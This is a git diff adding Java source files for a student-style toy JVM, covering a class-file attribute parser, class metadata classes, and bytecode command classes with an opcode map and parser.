+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group15/1507_977996067/src/task8/jvm/attr/CodeAttr.java b/group15/1507_977996067/src/task8/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..bd9658c0bc
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/attr/CodeAttr.java
@@ -0,0 +1,120 @@
+package task8.jvm.attr;
+
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.cmd.ByteCodeCommand;
+import task8.jvm.cmd.CommandParser;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    private ByteCodeCommand[] cmds;
+
+    public ByteCodeCommand[] getCmds() {
+        return cmds;
+    }
+
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        //this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int attrNameIndex = iter.next2Bytes();
+        int attrLen = iter.next4Bytes();
+        int maxStack = iter.next2Bytes();
+        int maxLocals = iter.next2Bytes();
+        int codeLen = iter.next4Bytes();
+
+        String code = iter.nextUxToHexString(codeLen);
+
+        System.out.println(code);
+
+        ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+
+        CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+
+        int exceptionTableLen = iter.next2Bytes();
+        //TODO 处理exception
+        if (exceptionTableLen > 0) {
+            String exTable = iter.nextUxToHexString(exceptionTableLen);
+            System.out.println("Encountered exception table , just ignore it :" + exTable);
+
+        }
+
+
+        int subAttrCount = iter.next2Bytes();
+
+        for (int x = 1; x <= subAttrCount; x++) {
+            int subAttrIndex = iter.next2Bytes();
+            String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+            //已经向前移动了U2, 现在退回去。
+            iter.back(2);
+            //line item table
+            if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+
+                LineNumberTable t = LineNumberTable.parse(iter);
+                codeAttr.setLineNumberTable(t);
+            } else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
+                LocalVariableTable t = LocalVariableTable.parse(iter);
+                codeAttr.setLocalVariableTable(t);
+            } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+                StackMapTable t = StackMapTable.parse(iter);
+                codeAttr.setStackMapTable(t);
+            } else {
+                throw new RuntimeException("Need code to process " + subAttrName);
+            }
+
+
+        }
+
+        return codeAttr;
+    }
+
+
+    public String toString(ConstantPool pool) {
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Code:").append(code).append("\n");
+        for (int i = 0; i < cmds.length; i++) {
+            buffer.append(cmds[i].toString(pool)).append("\n");
+        }
+        buffer.append("\n");
+        buffer.append(this.lineNumTable.toString());
+        buffer.append(this.localVarTable.toString(pool));
+        return buffer.toString();
+    }
+
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/attr/LineNumberTable.java b/group15/1507_977996067/src/task8/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..b191bb8f29
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/attr/LineNumberTable.java
@@ -0,0 +1,72 @@
+package task8.jvm.attr;
+
+import task8.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+    private static class LineNumberItem {
+        int startPC;
+        int lineNum;
+
+        public int getStartPC() {
+            return startPC;
+        }
+
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+
+        public int getLineNum() {
+            return lineNum;
+        }
+
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+        this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
+
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iter) {
+
+        int index = iter.next2Bytes();
+        int len = iter.next4Bytes();
+
+        LineNumberTable table = new LineNumberTable(index, len);
+
+        int itemLen = iter.next2Bytes();
+
+        for (int i = 1; i <= itemLen; i++) {
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iter.next2Bytes());
+            item.setLineNum(iter.next2Bytes());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+    public String toString() {
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Line Number Table:\n");
+        for (LineNumberItem item : items) {
+            buffer.append("startPC:" + item.getStartPC()).append(",");
+            buffer.append("lineNum:" + item.getLineNum()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/attr/LocalVariableItem.java b/group15/1507_977996067/src/task8/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..484e395f4b
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package task8.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group15/1507_977996067/src/task8/jvm/attr/LocalVariableTable.java b/group15/1507_977996067/src/task8/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..5d4481fff5
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,57 @@
+package task8.jvm.attr;
+
+
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LocalVariableTable extends AttributeInfo {
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+	}
+
+
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);
+	}
+
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+
+		int index = iter.next2Bytes();
+		int len = iter.next4Bytes();
+
+		LocalVariableTable table = new LocalVariableTable(index,len);
+
+		int itemLen = iter.next2Bytes();
+
+		for(int i=1; i<=itemLen; i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.next2Bytes());
+			item.setLength(iter.next2Bytes());
+			item.setNameIndex(iter.next2Bytes());
+			item.setDescIndex(iter.next2Bytes());
+			item.setIndex(iter.next2Bytes());
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group15/1507_977996067/src/task8/jvm/attr/StackMapTable.java b/group15/1507_977996067/src/task8/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..2286391bbe
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package task8.jvm.attr;
+
+
+import task8.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo {
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.next2Bytes();
+		int len = iter.next4Bytes();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group15/1507_977996067/src/task8/jvm/clz/AccessFlag.java b/group15/1507_977996067/src/task8/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..6b877b438b
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package task8.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task8/jvm/clz/ClassFile.java b/group15/1507_977996067/src/task8/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..089224ffc7
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/clz/ClassFile.java
@@ -0,0 +1,134 @@
+package task8.jvm.clz;
+
+import task8.jvm.constant.ClassInfo;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.field.Field;
+import task8.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFile {
+
+    private int minorVersion;
+    private int majorVersion;
+
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private ConstantPool pool;
+
+    private List<Field> fields = new ArrayList<>();
+    private List<Method> methods = new ArrayList<>();
+
+    public void setClzIndex(ClassIndex clzIndex) {
+        this.clzIndex = clzIndex;
+    }
+
+    public ConstantPool getPool() {
+        return pool;
+    }
+
+    public void setPool(ConstantPool pool) {
+        this.pool = pool;
+    }
+
+    public List<Field> getFields() {
+        return fields;
+    }
+
+    public void setFields(List<Field> fields) {
+        this.fields = fields;
+    }
+
+    public List<Method> getMethods() {
+        return methods;
+    }
+
+    public void setMethods(List<Method> methods) {
+        this.methods = methods;
+    }
+
+    public ClassIndex getClzIndex() {
+        return clzIndex;
+    }
+
+    public AccessFlag getAccessFlag() {
+        return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag) {
+        this.accessFlag = accessFlag;
+    }
+
+
+    public ConstantPool getConstantPool() {
+        return pool;
+    }
+
+    public int getMinorVersion() {
+        return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion) {
+        this.minorVersion = minorVersion;
+    }
+
+    public int getMajorVersion() {
+        return majorVersion;
+    }
+
+    public void setMajorVersion(int majorVersion) {
+        this.majorVersion = majorVersion;
+    }
+
+    public void setConstPool(ConstantPool pool) {
+        this.pool = pool;
+
+    }
+
+    public void setClassIndex(ClassIndex clzIndex) {
+        this.clzIndex = clzIndex;
+    }
+
+    public void print() {
+
+        if (this.accessFlag.isPublicClass()) {
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:" + getClassName());
+
+        System.out.println("Super Class Name:" + getSuperClassName());
+
+
+    }
+
+    public String getClassName() {
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+
+    public String getSuperClassName() {
+        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+        return superClass.getClassName();
+    }
+
+    public Method getMethod(String methodName, String paramAndReturnType) {
+
+        for (Method method : methods) {
+            int nameIndex = method.getNameIndex();
+            int descriptorIndex = method.getDescriptorIndex();
+            String name = getConstantPool().getUTF8String(nameIndex);
+            String descriptor = getConstantPool().getUTF8String(descriptorIndex);
+            if (methodName.equalsIgnoreCase(name) && paramAndReturnType.equalsIgnoreCase(descriptor)) {
+                return method;
+            }
+        }
+        return null;
+    }
+
+    public Method getMainMethod() {
+
+        return getMethod("main", "([Ljava/lang/String;)");
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/clz/ClassIndex.java b/group15/1507_977996067/src/task8/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..b4e6157fbb
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package task8.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/BiPushCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..1b3d16fab7
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,29 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.engine.ExecutionResult;
+import task8.jvm.engine.Heap;
+import task8.jvm.engine.StackFrame;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		frame.getOprandStack().push(Heap.getInstance().newInt(getOperand()));
+	}
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/ByteCodeCommand.java b/group15/1507_977996067/src/task8/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..d62ed01385
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,126 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantInfo;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.engine.ExecutionResult;
+import task8.jvm.engine.StackFrame;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public abstract class ByteCodeCommand {
+
+    String opCode;
+    ClassFile clzFile;
+    private int offset;
+
+    private static Map<String, String> codeMap = new HashMap<String, String>();
+
+    static {
+        codeMap.put("01", "aconst_null");
+
+        codeMap.put("BB", "new");
+        codeMap.put("37", "lstore");
+        codeMap.put("B7", "invokespecial");
+        codeMap.put("B6", "invokevirtual");
+        codeMap.put("B4", "getfield");
+        codeMap.put("B5", "putfield");
+        codeMap.put("B2", "getstatic");
+
+        codeMap.put("2A", "aload_0");
+        codeMap.put("2B", "aload_1");
+        codeMap.put("2C", "aload_2");
+
+        codeMap.put("10", "bipush");
+        codeMap.put("15", "iload");
+        codeMap.put("1A", "iload_0");
+        codeMap.put("1B", "iload_1");
+        codeMap.put("1C", "iload_2");
+        codeMap.put("1D", "iload_3");
+
+        codeMap.put("25", "fload_3");
+
+        codeMap.put("1E", "lload_0");
+
+        codeMap.put("24", "fload_2");
+        codeMap.put("4C", "astore_1");
+
+        codeMap.put("A2", "if_icmp_ge");
+        codeMap.put("A4", "if_icmple");
+
+        codeMap.put("A7", "goto");
+
+        codeMap.put("B1", "return");
+        codeMap.put("AC", "ireturn");
+        codeMap.put("AE", "freturn");
+
+        codeMap.put("03", "iconst_0");
+        codeMap.put("04", "iconst_1");
+
+        codeMap.put("3C", "istore_1");
+        codeMap.put("3D", "istore_2");
+
+        codeMap.put("59", "dup");
+
+        codeMap.put("60", "iadd");
+        codeMap.put("84", "iinc");
+
+        codeMap.put("12", "ldc");
+    }
+
+
+    protected ByteCodeCommand(ClassFile clzFile, String opCode) {
+        this.clzFile = clzFile;
+        this.opCode = opCode;
+    }
+
+    protected ClassFile getClassFile() {
+        return clzFile;
+    }
+
+    public int getOffset() {
+        return offset;
+    }
+
+    public void setOffset(int offset) {
+        this.offset = offset;
+    }
+
+    protected ConstantInfo getConstantInfo(int index) {
+        return this.getClassFile().getConstantPool().getConstantInfo(index);
+    }
+
+    protected ConstantPool getConstantPool() {
+        return this.getClassFile().getConstantPool();
+    }
+
+
+    public String getOpCode() {
+        return opCode;
+    }
+
+    public abstract int getLength();
+
+
+    public String toString() {
+
+        StringBuffer buffer = new StringBuffer();
+        buffer.append(this.opCode);
+
+        return buffer.toString();
+    }
+
+    public abstract String toString(ConstantPool pool);
+
+    public String getReadableCodeText() {
+        String txt = codeMap.get(opCode);
+        if (txt == null) {
+            return opCode;
+        }
+        return txt;
+    }
+
+    public abstract void execute(StackFrame frame, ExecutionResult result);
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/CommandParser.java b/group15/1507_977996067/src/task8/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..6e36ac1a2f
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/CommandParser.java
@@ -0,0 +1,124 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class CommandParser {
+
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+
+    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+        codes = codes.toUpperCase();
+        System.out.println("=========> codes: " + codes);
+        CommandIterator iterator = new CommandIterator(codes);
+        List<ByteCodeCommand> commands = new ArrayList<>();
+        while (iterator.hasNext()) {
+            String opCode = iterator.next2CharAsString();
+            switch (opCode) {
+                case new_object:
+                    NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, codes);
+                    newObjectCmd.setOprand1(iterator.next2CharAsInt());
+                    newObjectCmd.setOprand2(iterator.next2CharAsInt());
+                    commands.add(newObjectCmd);
+                    break;
+                case ldc:
+                    LdcCmd ldcCmd = new LdcCmd(clzFile, codes);
+                    ldcCmd.setOperand(iterator.next2CharAsInt());
+                    commands.add(ldcCmd);
+                    break;
+                case bipush:
+                    BiPushCmd biPushCmd = new BiPushCmd(clzFile, codes);
+                    biPushCmd.setOperand(iterator.next2CharAsInt());
+                    commands.add(biPushCmd);
+                    break;
+                case invokespecial:
+                    InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, codes);
+                    invokeSpecialCmd.setOprand1(iterator.next2CharAsInt());
+                    invokeSpecialCmd.setOprand2(iterator.next2CharAsInt());
+                    commands.add(invokeSpecialCmd);
+                    break;
+                case invokevirtual:
+                    InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, codes);
+                    invokeVirtualCmd.setOprand1(iterator.next2CharAsInt());
+                    invokeVirtualCmd.setOprand2(iterator.next2CharAsInt());
+                    commands.add(invokeVirtualCmd);
+                    break;
+                default:
+                    NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, codes);
+                    commands.add(noOperandCmd);
+            }
+        }
+        calcuateOffset(commands);
+        return commands.toArray(new ByteCodeCommand[commands.size()]);
+    }
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+        int offset = 0;
+        for (ByteCodeCommand cmd : cmds) {
+            cmd.setOffset(offset);
+            offset += cmd.getLength();
+        }
+
+    }
+
+    private static class CommandIterator {
+        String codes = null;
+        int pos = 0;
+
+        CommandIterator(String codes) {
+            this.codes = codes;
+        }
+
+        public boolean hasNext() {
+            return pos < this.codes.length();
+        }
+
+        public String next2CharAsString() {
+            String result = codes.substring(pos, pos + 2);
+            pos += 2;
+            return result;
+        }
+
+        public int next2CharAsInt() {
+            String s = this.next2CharAsString();
+            return Integer.valueOf(s, 16);
+        }
+
+    }
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/GetFieldCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..ab19950a37
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,27 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.engine.ExecutionResult;
+import task8.jvm.engine.StackFrame;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+	}
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/GetStaticFieldCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..6c2df9be63
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,27 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.engine.ExecutionResult;
+import task8.jvm.engine.StackFrame;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+	}
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/InvokeSpecialCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..b7e70e50be
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,39 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantInfo;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.constant.MethodRefInfo;
+import task8.jvm.engine.ExecutionResult;
+import task8.jvm.engine.MethodArea;
+import task8.jvm.engine.StackFrame;
+import task8.jvm.method.Method;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+    public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsMethod(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        MethodRefInfo info = (MethodRefInfo) this.getConstantInfo(getIndex());
+
+        if ("java/lang/Object".equalsIgnoreCase(info.getClassName()) && "<init>".equalsIgnoreCase(info.getMethodName())) {
+            return;
+        }
+        Method method = MethodArea.getInstance().getMethod(info);
+        result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+        result.setNextMethod(method);
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/InvokeVirtualCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..1541ec2524
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/LdcCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..c080efc812
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/LdcCmd.java
@@ -0,0 +1,44 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantInfo;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.constant.StringInfo;
+import task8.jvm.engine.ExecutionResult;
+import task8.jvm.engine.Heap;
+import task8.jvm.engine.JavaObject;
+import task8.jvm.engine.StackFrame;
+
+public class LdcCmd extends OneOperandCmd {
+
+    public LdcCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        ConstantInfo info = (ConstantInfo) pool.getConstantInfo(this.getOperand());
+
+        String value = "TBD";
+        if (info instanceof StringInfo) {
+            StringInfo strInfo = (StringInfo) info;
+            value = strInfo.toString();
+        }
+
+        return this.getOffset() + ":" + this.getOpCode() + " " + this.getReadableCodeText() + " " + value;
+
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        ConstantInfo info = this.getConstantPool().getConstantInfo(this.getOperand());
+        if (info instanceof StringInfo) {
+            JavaObject object = Heap.getInstance().newString(info.toString());
+            frame.getOprandStack().push(object);
+        } else {
+            // ...
+        }
+    }
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/NewObjectCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..c79e60d451
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,32 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ClassInfo;
+import task8.jvm.constant.ConstantPool;
+import task8.jvm.engine.ExecutionResult;
+import task8.jvm.engine.Heap;
+import task8.jvm.engine.JavaObject;
+import task8.jvm.engine.StackFrame;
+
+public class NewObjectCmd extends TwoOperandCmd {
+
+    public NewObjectCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return super.getOperandAsClassInfo(pool);
+    }
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getIndex());
+        String className = classInfo.getClassName();
+        JavaObject object = Heap.getInstance().newObject(className);
+        frame.getOprandStack().push(object);
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task8/jvm/cmd/NoOperandCmd.java b/group15/1507_977996067/src/task8/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..a7f861f5b8
--- /dev/null
+++ b/group15/1507_977996067/src/task8/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package task8.jvm.cmd;
+
+import task8.jvm.clz.ClassFile;
+import task8.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand {
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
